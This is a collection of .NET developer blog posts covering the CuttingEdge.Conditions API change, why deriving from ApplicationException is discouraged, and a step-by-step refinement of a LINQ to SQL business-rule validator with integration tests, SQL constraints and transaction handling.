The Requires() and Ensures() methods extended System.Object and VB.NET can not handle extension methods on System.Object due to its late binding capabilities. Calling obj.Requires() would result in a runtime exception. For this reason the Conditions homepage on CodePlex already used the Condition.Requires syntax in the VB examples. Because of this, the Framework Design Guidelines warn against the use of extension methods on the type System.Object.

2. The extension methods clutter IntelliSense.

The Requires() and Ensures() method are shown in the IntelliSense drop down list for each and every object in the IDE; even when a developer isn't validating. This clutters the IntelliSense and this could confuse developers.

3. C# code snippets are less productive when generated with extension methods.

While the code snippets engine of the VB.NET IDE allows the insertion of namespaces, the C# IDE does not have this ability (and we shouldn't expect such a feature to be added soon). Normally, this isn't a big problem, because the C# IDE makes it easy to include a missing namespace, by pressing CTRL + DOT, ENTER on a type. When using extension methods however, the C# IDE is unable to determine the namespace of the extension method (because there is no type specified explicitly). This means that a developer must still add the CuttingEdge.Conditions namespace manually on the top of the file, after using one of the code snippets. However, when the code snippets generate 'Condition.Requires(x, "x")', a developer can move his cursor to the unknown Condition type and let the IDE insert the missing namespace very quickly.

4. Recognizing blocks of pre- and postconditions is easier with the new syntax.

This is actually a argument I heard from several developers, who use Conditions in their production code. Although x.Requires().IsNotNull() syntax is very readable as an individual line, most methods will have several lines of preconditions, and those developers noted that the Condition.Requires(x) syntax groups those statements very nicely together. I must say I agree with them.

5. Leaving extension methods out of the library allows developers to choose one over the other.

It's actually pretty easy (as I will show shortly) to add some code in your own project that defines Requires() and Ensures() extension methods. However, when Conditions defines those methods as extension methods, developers have no possibility to remove them (unless of course they create a private build of the library). An option would be to define the extension methods in another namespace within the Conditions assembly, as the Framework Design Guidelines advice, but I’m not fond of that idea in this situation. This means that the developers using extension methods, have to include two namespaces in each file and this is less intuitive.

I hope I've convinced you that this change is for the better, but if you, despite my arguments, still want the old syntax, please include the following code in your project. Most convenient is to put this class in the root namespace of your project.

using CuttingEdge.Conditions;

/// <summary>
/// This class defines extension methods for the 
/// CuttingEdge.Conditions Requires and Ensures entry point 
/// methods.
/// </summary>
internal static class ConditionExtensions
{
    /// <summary>
    /// Returns a new <see cref="ConditionValidator{T}" /> that allows
    /// you to validate the preconditions of the given argument, given
    /// it a default ArgumentName of 'value'.
    /// </summary>
    public static ConditionValidator<T> Requires<T>(this T value)
    {
        return Condition.Requires<T>(value);
    }

    /// <summary>
    /// Returns a new <see cref="ConditionValidator{T}" /> that allows
    /// you to validate the preconditions of the given argument.
    /// </summary>
    public static ConditionValidator<T> Requires<T>(this T value,
        string argumentName)
    {
        return Condition.Requires<T>(value, argumentName);
    }

    /// <summary>
    /// Returns a new <see cref="ConditionValidator{T}" /> that allows
    /// you to validate the given argument, given it a default
    /// ArgumentName of 'value'.
    /// </summary>
    public static ConditionValidator<T> Ensures<T>(this T value)
    {
        return Condition.Ensures<T>(value);
    }

    /// <summary>
    /// Returns a new <see cref="Validator{T}">Validator</see> that
    /// allows you to validate the postconditions of the given object.
    /// </summary>
    public static ConditionValidator<T> Ensures<T>(this T value,
        string argumentName)
    {
        return Condition.Ensures<T>(value, argumentName);
    }
}

As always: Happy validating ;-)

DO NOT throw or derive from System.ApplicationException.

The reason for the existence of ApplicationException is explained by Jeffrey Richter in the Framework Design Guidelines:

The original idea was that classes derived from SystemException would indicate exceptions thrown from the CLR (or system) itself, whereas non-CLR exceptions would be derived from ApplicationException.

There are two problems with this idea however. First of all it's very questionable if there is any use in separating CLR exceptions from non-CLR exceptions. You hardly ever want to catch all non-CLR exceptions or inverse: catch CLR exceptions. They are both just too general to catch. Second, not all exceptions in the .NET framework follow this pattern; some CLR exceptions do inherit from ApplicationException (such as TargetException, TargetInvocationException and WaitHandleCannotBeOpenendException). This defeats the whole idea of having an ApplicationException in the first place.

While Framework Design Guidelines are very clear about this, outdated documents and guidelines are still floating on the web that recommend using ApplicationException. Some even published by Microsoft!
    
The ApplicationException in itself isn't considered harmful, inheriting from it is just considered useless. It gets harmful, when catching ApplicationException. Not only does the .NET framework itself throw exceptions that derive from ApplicationException, but a lot popular frameworks you might use in your production code throw exceptions that derive from ApplicationException (such as tools from Telerik, Aspose, LLBLGen, Microsoft's Enterprise Library, Log4net, MySQL, ICSharpCode, aspNetEmail, Html-to-pdf and many, many more).

That makes catching an ApplicationException so general that I consider it similar to catching the Exception base class. You simply never know what you're catching.

While inheriting from ApplicationException itself has no evil in it, the problem starts when you, as a framework or application developer, derive all your exceptions directly from ApplicationException. For instance, a few years ago on a project of one of my clients, the developers defined exceptions that were thrown by the business layer and contained information for the end user. The exceptions were caught at the presentation level and subsequently displayed on the user interface. While there's nothing wrong in doing this, the problem was that these 'end user exceptions' all inherited directly from ApplicationException and the presentation layer caught those ApplicationExceptions. It’s not surprising that once in a while technical exception messages were displayed to the end user. Showing technical information to your users will not only annoy them, it could cause a security risk, because you’re leaking information.

Another client recently went even further. While the developers did actually define their own exception base class for business layer exceptions (which is a good thing), they decided to name it ‘ApplicationException’. What they didn’t realize that about 75% of the time they actually caught the real System.ApplicationException instead of their own business layer exception. This caused all sort of subtle, hard to find bugs. The remedy was to rename the exception and fix all lines were System.ApplicationException was caught.

While the OR/M mapper framework LLBLGen uses ApplicationException, the design is better than the cases above. LLBLGen defines a base exception (called ORMException) from which all other exceptions inherit. ORMException inherits from ApplicationException and thus all LLBLGen exceptions inherit from it. Catching an LLBLGen exception however, can be done by catching ORMException and therefore it's not a problem that ORMException inherits from ApplicationException. Still, it's useless and while being a breaking change, I still advice LLBLGen to let ORMException directly inherit from Exception. This way LLBLGen exceptions can not accidentally be caught when a application developer catches ApplicationException.

If you’re maintaining an existing code base, especially the code base of a reusable framework, you have to be careful when making breaking changes, like removing ApplicationException from the inheritance hierarchy. However, when building a new framework or application, just don’t use ApplicationException.

Cheers.

This book is for busy programmers who want a succinct and yet readable guide to C# 3.0 and LINQ.
C# 3.0 Pocket Reference, written by Joseph and Ben Albahari, tells you exactly what you need to know, without long introductions or bloated samples. Boost your C# expertise and keep ahead of your peers! ->

Download it here: C# Pocket Reference Second Edition

UPDATE: Sorry, the pocket reference can not be downloaded from the Red Gate site anymore. But with a bit of smart googling, you might still find it.

Read more on the Entity Framework Design blog.

This is great news for me, because I was using the trial version for almost a year now to check the unit test coverage of CuttingEdge.Conditions. I achieved this by reinstalling the trial in a virtual machine every once in a while. Besides being pretty annoying, it didn’t legally 'cover' me :-). But since I’m not making any money of CuttingEdge.Conditions I couldn’t afford a commercial license. But I’m happily to say that those days are over and I’ll try to keep the coverage level about the same as it is today: 100%.

Thanks to the NCover team!

I attented a lot of interesting sessions last two days at the Dutch Microsoft DevDays conference. I also addended Sara Ford's session about CodePlex. As a CodePlex project owner (for Conditions and Logging) I of course had to attend this session. Sara presented us with this lovely CodePlex promotion material ;-)

A customer is not allowed, at a given moment in time, to have more than two unshipped orders.

Version 1.0

Writing a validator for such a simple business rule couldn’t that hard, could it? Below is the first definition of the UnshippedOrdersRuleValidator class:

[ConfigurationElementType(typeof(CustomValidatorData))]
public sealed class UnshippedOrdersRuleValidator : Validator
{
    private const int MaximumNumberOfUnshippedOrders = 2;

    private const string RuleViolationMessage = "Customer with " +
        "ID {0} has currently {1} unshipped orders, while {2} " +
        "is the maximum permitted number of unshipped orders.";

    public CustomerValidator(NameValueCollection attributes)
        : base(string.Empty, string.Empty)
    {
    }

    protected override string DefaultMessageTemplate
    {
        get { throw new NotImplementedException(); }
    }

    protected override void DoValidate(object objectToValidate, 
        object currentTarget, string key, ValidationResults results)
    {
        Customer customer = (Customer)currentTarget;

        int totalUnshippedOrders = (
            from order in customer.Orders
            where order.ShippedDate == null
            select order).Count();

        if (totalUnshippedOrders > MaximumNumberOfUnshippedOrders)
        {
            string message = string.Format(RuleViolationMessage,
                customer.CustomerID, totalUnshippedOrders,
                MaximumNumberOfUnshippedOrders);

            this.LogValidationResult(results, message, 
                currentTarget, key);
        }
    }
}

The class inherits from Validator, which is part of the VAB. The implementation has the required plumbing: It’s decorated with the ConfigurationElementTypeAttribute and has a constructor with a NameValueCollection argument. These are needed for it to be configurable using VAB. Please note that I’m using hard coded strings for simplicity. You’d probably want to use resource based strings in production code. I wanted to show a full working implementation, but from now on, the focus will be on the DoValidate method.

The code is rather straight forward. When a customer is validated, it is supplied to the DoValidate method as the currentTarget argument. The argument is casted from object back to Customer and the customer’s orders collection is queried, by searching for orders with no ShippedDate. The total number of unshipped orders is compared to MaximumNumberOfUnshippedOrders. If the total number of unshipped orders for the customer is greater than the defined maximum, the customer is invalid and a validation result is logged using the LogValidationResult method, which is part of the Validator base class. For the sake of simplicity I’ve decided to define the value containing the maximum number of unshipped orders as a const instead making it configurable.

To be complete, here is the VAB configuration used to get this working (I stripped namespaces of the types for readability):

  <validation>
    <type name="Customer" defaultRuleset="Default"
      assemblyName="Domain">
      <ruleset name="Default">
        <validator type="UnshippedOrdersRuleValidator, Validators"
          name="Unshipped Orders Rule Validator" />
      </ruleset>
    </type>
  </validation>

As I wrote, each version would have a defect. But the code looks so innocent; what could be wrong with it?

The trouble is that this validator is too simplistic and the possible deletion of orders within that context are not handled correctly. Here is an integration test that proves this bug:

[TestMethod]
public void UnshippedOrdersRuleTest01()
{
    using (new TransactionScope())
    {
        using (var db = new NorthwindDataContext())
        {
            // Customer ERNSH has 2 unshipped order in the 
            // database.
            Customer ernsh =
                db.Customers.Single(c => c.CustomerID == "ERNSH");

            ernsh.ContactName = "Steven";

            // Adding one new unshipped order. 
            Order orderToInsert = new Order();
            orderToInsert.Customer = ernsh;
            db.Orders.InsertOnSubmit(orderToInsert);

            // Delete this order and its details.
            Order orderToDelete = (
                from order in db.Orders
                where order.CustomerID == ernsh.CustomerID
                where order.ShippedDate == null
                select order).First();

            // We must also delete the order’s details.
            db.Orders.DeleteOnSubmit(orderToDelete);
            db.OrderDetails.DeleteAllOnSubmit(
                orderToDelete.OrderDetails);

            // SubmitChanges should succeed, because the customer
            // should now still have 2 unshipped orders.
            db.SubmitChanges();
        }
    }
}

Here are some notes on this test. While it’s an automated test, it differentiates from normal unit tests in that it doesn’t test a single unit of code, but a single feature or requirement. The test does this by touching the different tiers in the application. It even accesses the database in this test, which is absolutely a no-go in unit testing. The test expects the Northwind database with it’s default data (therefore, it’s wise to have a dedicated test database, when you’re running integration tests). By wrapping all code in a TransactionScope, we ensure that all database changes are rolled back after the test finished. This way we can be sure that the test can run successfully again and again. Also note that I only show tests relevant to this post. In reality, more tests are needed to prove correctness of this business rule.

The test retrieves a specific customer from the database, inserts a new unshipped order for that customer and deletes another (already existing) unshipped order from the database. The specified customer has currently two unshipped orders in the database (a precondition for this test to run). Now after deleting one of those and adding a new unshipped order, the customer should again have two unshipped orders, but the test fails and therefore I’ve proven this first version of the unshipped orders business rule to be flawed.

Version 2.0

Here is a new implementation of the DoValidate method, that fixes that flaw:

protected override void DoValidate(object objectToValidate, 
    object currentTarget, string key, ValidationResults results)
{
    Customer customer = (Customer)currentTarget;

    NorthwindDataContext context = 
        (NorthwindDataContext)ContextScope.CurrentContext;

    var ordersToDelete =
        context.GetChangeSet().Deletes.OfType<Order>();

    int totalUnshippedOrders = (
        from order in customer.Orders
        where order.ShippedDate == null
        where !ordersToDelete.Contains(order)
        select order).Count();

    if (totalUnshippedOrders > MaximumNumberOfUnshippedOrders)
    {
        ...
    }
}

This new version uses the ContextScope.CurrentContext construct to get the context, as discussed in part 2. It uses LINQ to SQL’s ChangeSet to determine all orders that are currently being deleted (within that context of course). This list is used to filter those orders from the total number of unshipped orders, because this is what caused our test to fail. The rest of the code remains the same.

The previously defined integration test will now succeed. However, there is another problem. The validator only validates customers, while also orders have to be validated. Let’s write a second test to detect this bug:

[TestMethod]
[ExpectedException(typeof(ValidationException))]
public void UnshippedOrdersRuleTest02()
{
    using (new TransactionScope())
    {
        using (var db = new NorthwindDataContext())
        {
            // Customer ERNSH has two unshipped order in the 
            // database.
            Customer ernsh =
                db.Customers.Single(c => c.CustomerID == "ERNSH");

            // Adding a third unshipped order. 
            Order orderToInsert = new Order();
            orderToInsert.Customer = ernsh;
            db.Orders.InsertOnSubmit(orderToInsert);

            // SubmitChanges should throw a ValidationException.
            db.SubmitChanges();
        }
    }
}

This test fails, because SubmitChanges didn’t throw the expected exception. This happens because the validator is never called. The first test (deliberately) changed the ContactName of the customer. This second test however didn’t. Therefore the customer didn’t change and because of that the validation wasn’t triggered.

In part 1, I’ve built the validation infrastructure in such a way that it only validates changed objects (see the GetChangedEntities method). That infrastructure could be changed in such a way that it validates all objects, but this would give an enormous performance penalty. Thousands of entities could be loaded by the context, while maybe just a single entity was changed. The real event that should trigger the validation of a customer is not the creation or mutation of the customer itself, but rather that of an order. Let’s try it once more.

Version 3.0

Below, the new DoValidate implementation changed in such a way that -not a customer- but the customer’s order is the target object:

protected override void DoValidate(object objectToValidate, 
    object currentTarget, string key, ValidationResults results)
{
    // We cast the currentTarget to the order and get it’s customer.
    Customer customer = ((Order)currentTarget).Customer;

    NorthwindDataContext context =
        (NorthwindDataContext)ContextScope.CurrentContext;

    var ordersToDelete =
        context.GetChangeSet().Deletes.OfType<Order>();

    int totalUnshippedOrders = (
        from order in customer.Orders
        where order.ShippedDate == null
        where !ordersToDelete.Contains(order)
        select order).Count();

    if (totalUnshippedOrders > MaximumNumberOfUnshippedOrders)
    {
        ...
    }
}

Within the validator, the customer is still validated, but VAB is now supplying an order. Changing an order should now trigger the validation and for this the VAB configuration must be changed:

  <validation>
    <type name="Order" defaultRuleset="Default"
      assemblyName="Domain">
      <ruleset name="Default">
        <validator type="UnshippedOrdersRuleValidator, Validators"
          name="Unshipped Orders Rule Validator" />
      </ruleset>
    </type>
  </validation>

While the new code and configuration satisfies both the previously defined tests, this change resulted in a new problem. When a customer is invalid, we’d expect a single message that describes this error. Let’s write a test for this:

[TestMethod]
public void UnshippedOrdersRuleTest03()
{
    using (new TransactionScope())
    {
        using (var db = new NorthwindDataContext())
        {
            Customer junkie = new Customer();

            junkie.CustomerID = "junki";
            junkie.ContactName = "S. van Deursen";
            junkie.CompanyName = "Cutting Edge";

            // Adding three new unshipped orders.
            // Yes, this magically works in L2S :-)
            new Order { Customer = junkie };
            new Order { Customer = junkie };
            new Order { Customer = junkie };

            db.Customers.InsertOnSubmit(junkie);

            try
            {
                db.SubmitChanges();
                Assert.Fail("Exception was expected.");
            }
            catch (ValidationException vex)
            {
                int actualCount = vex.Results.Count;
                // Should contain one message.
                Assert.AreEqual(1, actualCount);
            }
        }
    }
}

This third test fails, because the list of errors will contain three results instead of the expected single result. There is a result for each validated order. But all results describe the same message:

Customer with ID junki has currently 3 unshipped orders, while 2 is the maximum permitted number of unshipped orders.

These duplicate error messages will clutter the user interface and while it’s possible to filter those duplicate messages, this isn’t desirable. Besides that, duplicate validations can have big impact on the performance of the system. Imagine changing a couple of hundred orders of a single customer within the same context.

Version 4.0

How can these duplicate validations be prevented? A validated customer must be registered in such a way that the UnshippedOrdersRuleValidator doesn’t validate that customer twice within the same context. It should also work correctly in a multi-threaded / multi-user environment such as ASP.NET. To solve this, let’s use the infrastructure, presented in part 2. Some sort of caching mechanism must be implemented that validators can use. The only feasible place to define such a mechanism is within the ContextScope class (see part 2 for the previous definition). Here is a new implementation:

public sealed class ContextScope : IDisposable
{
    private const string ScopeAlreadyActiveExceptionMessage =
        "A ContextScope has already been declared within " +
        "the current scope. Only one scope can be active.";

    private const string NoScopeActiveExceptionMessage =
        "A ContextScope hasn't been declared with in the " +
        "current scope. This property can only be called " +
        "within the context of a ContextScope.";

    [ThreadStatic]
    private static object currentContext;

    // This static field has been added.
    [ThreadStatic]
    private static Dictionary<Type, object> currentItems;

    public ContextScope(object context)
    {
        context.Requires("context").IsNotNull();

        if (currentContext != null)
        {
            throw new InvalidOperationException(
                ScopeAlreadyActiveExceptionMessage);
        }

        currentContext = context;
        currentItems = new Dictionary<Type, object>();
    }

    public static object CurrentContext
    {
        get
        {
            object context = currentContext;

            if (context == null)
            {
                throw new InvalidOperationException(
                    NoScopeActiveExceptionMessage);
            }

            return context;
        }
    }

    // This static property has been added.
    public static Dictionary<Type, object> CurrentItems
    {
        get
        {
            Dictionary<Type, object> items = currentItems;

            if (items == null)
            {
                throw new InvalidOperationException(
                    NoScopeActiveExceptionMessage);
            }

            return items;
        }
    }

    public void Dispose()
    {
        currentContext = null;
        currentItems = null;
    }
}

This extended ContextScope contains a new CurrentItems property that returns a thread-local dictionary, just like the thread-local context returned from the CurrentContext property. This is a generic solution for all our custom validators that need a context-aware cache. Now let’s fix the implementation of the UnshippedOrdersRuleValidator class, using this new feature:

protected override void DoValidate(object objectToValidate, 
    object currentTarget, string key, ValidationResults results)
{
    Customer customer = ((Order)currentTarget).Customer;

    // Prevent duplicate customer validations.
    if (ValidatedCustomers.Contains(customer))
    {
        return;
    }

    // Add the customer to the list of validated customers.
    ValidatedCustomers.Add(customer);

    NorthwindDataContext context =
        (NorthwindDataContext)ContextScope.CurrentContext;

    var ordersToDelete =
        context.GetChangeSet().Deletes.OfType<Order>();

    ...
}

// Returns a list of customers, validated in the current context.
private static HashSet<Customer> ValidatedCustomers
{
    get
    {
        Dictionary<Type, object> items = ContextScope.CurrentItems;

        Type key = typeof(UnshippedOrdersRuleValidator);

        object validatedCustomers;

        // Get the list of validated customers from the cache.
        if (!items.TryGetValue(key, out validatedCustomers))
        {
            // When there's no list yet, we create a new one and 
            // register it in the item cache.
            validatedCustomers = new HashSet<Customer>();
            items.Add(key, validatedCustomers);
        }

        return (HashSet<Customer>)validatedCustomers;
    }
}

This version uses the new ContextScope.CurrentItems property to retrieve its list of validated customers. Because I’ve implemented the CurrentItems as a dictionary with a Type key, the validator can supply it’s type as key. This way each validator can have it’s own private cache, without interfering with others.

The next problem we will tackle has to do with the Orders property on our LINQ to SQL customer entity. The Orders property returns a collection of orders. To be more precise: it returns an instance of type EntitySet<Order>. LINQ to SQL’s EntitySet<TEntity> however, is an in-memory store of all orders related to that customer. It doesn’t implement IQueryable<T>, but IEnumerable<T> exclusively. You can only iterate over all items and that means all the orders in the database related to that specific customer. In other words, the ‘from order in customer.Orders’ query in the DoValidate method retrieves *all* orders for that customer from the database. Imagine a customer with a few thousand orders and you’ll get the picture. Every time this validator runs, it loads all orders in memory. Now imagine yourself this validator running on your production web server with thousands of users. Of course we know that premature optimization is the root of all evil, but let’s say we know during design that certain customers will have over a thousand orders now or in the near future. In that case we aren’t talking about premature optimization anymore. With that condition in mind, we’ll have to make a conscious design decision.

Version 5.0

It’s note easy to write an integration test that checks whether the validator loads too many orders, because the validator is functionally correct and LINQ to SQL doesn’t allow us to hook into it’s infrastructure to check this. Writing such a test is outside the scope of this post. Therefore we directly move on to the new definition of the UnshippedOrdersRuleValidator class:

protected override void DoValidate(object objectToValidate, 
    object currentTarget, string key, ValidationResults results)
{
    Customer customer = ((Order)currentTarget).Customer;

    // Prevent duplicate customer validations.
    if (ValidatedCustomers.Contains(customer))
    {
        return;
    }

    ValidatedCustomers.Add(customer);

    NorthwindDataContext context =
        (NorthwindDataContext)ContextScope.CurrentContext;

    IQueryable<Order> unshippedOrdersInDatabase =
        GetUnshippedOrdersFromDatabase(context, customer);

    IEnumerable<Order> unshippedOrdersInMemory =
        GetUnshippedOrdersFromContext(context, customer);

    int totalUnshippedOrders =
        unshippedOrdersInDatabase.Count() +
        unshippedOrdersInMemory.Count();

    if (totalUnshippedOrders > MaximumNumberOfUnshippedOrders)
    {
        ...
    }
}

private static IQueryable<Order> GetUnshippedOrdersFromDatabase(
    NorthwindDataContext context, Customer customer)
{
    ChangeSet changeSet = context.GetChangeSet();

    var updatesAndDeletesInContext =
        changeSet.Updates.Concat(changeSet.Deletes);

    // Get a list of all the customer's orders that are updated or 
    // deleted.
    var excludedOrderIds =
        from order in updatesAndDeletesInContext.OfType<Order>()
        where order.CustomerID == customer.CustomerID
        select order.OrderID;

    // Get a list of all the customer's orders in the database
    // that have no shipped date, excluded by the list of updated
    // and deleted orders in the current context (this prevents 
    // double counts).

    // Note that we use context.Orders instead of customer.Orders
    return
        from order in context.Orders
        where order.CustomerID == customer.CustomerID
        where order.ShippedDate == null
        where !excludedOrderIds.Contains(order.OrderID)
        select order;
}

private static IEnumerable<Order> GetUnshippedOrdersFromContext(
    NorthwindDataContext context, Customer customer)
{
    ChangeSet changeSet = context.GetChangeSet();

    var insertsAndUpdatesInContext =
        changeSet.Inserts.Concat(changeSet.Updates);

    // Get a list of all the customer's orders in the datacontext
    // (in memory) that are being inserted or updated and don't 
    // have a shipped data (we don't count the deletes).
    return
        from order in insertsAndUpdatesInContext.OfType<Order>()
        where order.CustomerID == customer.CustomerID
        where order.ShippedDate == null
        select order;
}

As you can see, there’s already a lot of code to get the business rule correct. Although this version is functionally equivalent to the previous version, the performance is much better. The IQueryable<Order> returned from the GetUnshippedOrdersFromDatabase function is deferred and will result in the following (very efficient) database query during the call to Count():

SELECT  COUNT(*) AS [value]
FROM    [dbo].[Orders] AS [t0]
WHERE   (NOT ([t0].[OrderID] IN (@p0))) 
AND     ([t0].[ShippedDate] IS NULL) 
AND     ([t0].[CustomerID] = @p1)

But still, even now, there’s a glitch. This time however, the problem is less obvious, it is one of concurrency. While this code is functionally correct and even performs great, a system that uses the rule might get in the situation where two different users / processes manage to simultaneously insert new unshipped orders for a certain customer and thereby bypassing the validation mechanism. This will happen when the validators for both processes run before each other’s order insertions. The optimistic locking mechanism most O/RM tools use, will not help in this case. Optimistic concurrency mechanisms are simply unable to handle this specific scenario. To solve this race condition, these are the alternatives one could consider:

• Do nothing and just let it happen.
• Use pessimistic offline locking.
• Implement a constraint in the database.
• Use database transactions (a.k.a. pessimistic online locking).

Doing nothing and letting it happen can be a very valid solution to this problem. If you can predict that the likelihood of failure, times the costs of correcting the corrupted data in case of such a failure is less than the costs of implementing a foolproof solution; that solution is commercially your best pick (but don’t forget to document that decision). Of course this depends on a wide variety of variables, both technically and non-technically, such as the chosen architecture, complexity of the system, experience of the development team, business strategy, the cost of repairing customer trust, etc.

The second alternative is using a pessimistic offline lock. Depending upon requirements and the system architecture, a locking mechanism could be used that’s not based on database transaction (pessimistic online locking), or optimistic locking. Martin Fowler describes a pessimistic offline lock as follows:

It forces a business transaction to acquire a lock on a piece of data before it starts to use it, so that, most of the time, once you begin a business transaction you can be pretty sure you'll complete it without being bounced by concurrency control.

Acquiring a lock on a piece of data could be done in several ways. You could for instance implement this by storing extra information at row level about who locked the data at which moment. Using pessimistic offline locking all over the place however, is a terrible idea and it has to be thought out very carefully within the business requirements and system architecture, where and how to use this mechanism. For instance, when the given business rule runs within automated processes, what should be done in case of a lock? Should one of the processes fail, wait until the lock can be acquired or should it be prevented from running in the first place?

Version 6.0

Let’s try to solve the problem using a database constraint. Using a database constraint is only a fallback mechanism to prevent state corruption in the database. It prevents corruption, but it’s not always suitable in the context of an O/RM technology, as we will see shortly. I call constraints a fallback mechanism, because it’s preferable to define all business rules in one place. Of course I prefer defining them in code, as I’m showing you in this post by using the VAB. The problem with constraints is that a failing database constraint will result in an exception being thrown within .NET and while it’s possible to do some smart exception filtering to see which constraint did fail, that’s all there is. There is no (simple) way to see which entity caused the failure, and because of this, there is no way to communicate back to the user what exactly went wrong and what must be done to fix the problem.

The problem we’re dealing with here is one of concurrency. It might not show up that often (if ever) and therefore we might be fine with the few times that it fails hard. At least our database remains consistent. Let’s assume we are fine with it failing ugly, and let’s create a constraint in the database for our made up business rule:

CREATE FUNCTION dbo.GetNumberOfUnshippedOrders
(
    @CustomerID nchar(5)
)
RETURNS int
AS
BEGIN
    DECLARE @Result int

    SELECT @Result = COUNT(*)
    FROM   Orders
    WHERE  CustomerID = @CustomerID
    AND    ShippedDate IS NULL

    RETURN @Result
END
GO

ALTER TABLE dbo.Orders 
ADD CONSTRAINT CK_Orders_MaxUnshippedOrders 
CHECK (
    dbo.GetNumberOfUnshippedOrders(CustomerID) <= 2
)

After we added the constraint to the database we can rerun our integration tests to see if everything still works fine, but Houston we have a problem! The first test fails:

Test method TestProject1.UnitTest1.UnshippedOrdersRuleTest01 threw exception:  System.Data.SqlClient.SqlException: The INSERT statement conflicted with the CHECK constraint "CK_Orders_MaxUnshippedOrders". The conflict occurred in database "Northwind", table "dbo.Orders", column 'CustomerID'.
The statement has been terminated.

Why is this constraint making our test fail? Look at the test and notice how the insertion of the new order happens before the deletion of the old. Swapping the order in which those are executed however, will have no effect. We’re screwed here, because LINQ to SQL reorders the mutations, and decides that deletes should be executed after inserts. There is nothing we can do about that. This is why O/RM technologies such as LINQ to SQL could sometimes make it hard to define database constraints. This version failed, let’s remove that constraint again from the database and move on to the last alternative:

ALTER TABLE dbo.Orders 
DROP CONSTRAINT CK_Orders_MaxUnshippedOrders 

Adding a constraint didn’t work in this scenario. The last alternative is using database transactions. We could wrap the use of the context class in a transaction. Using the SqlTransactionWrapper, I wrote a long time ago, this would look like this:

using (var tran = new SqlTransactionWrapper("connstr."))
{
    using (var db = new NorthwindDataContext(tran.Connection))
    {
        // We'll need to set the Transaction in L2S.
        db.Transaction = tran.Transaction;

        // TODO: Business logic

        db.SubmitChanges();
    }

    tran.Commit();
}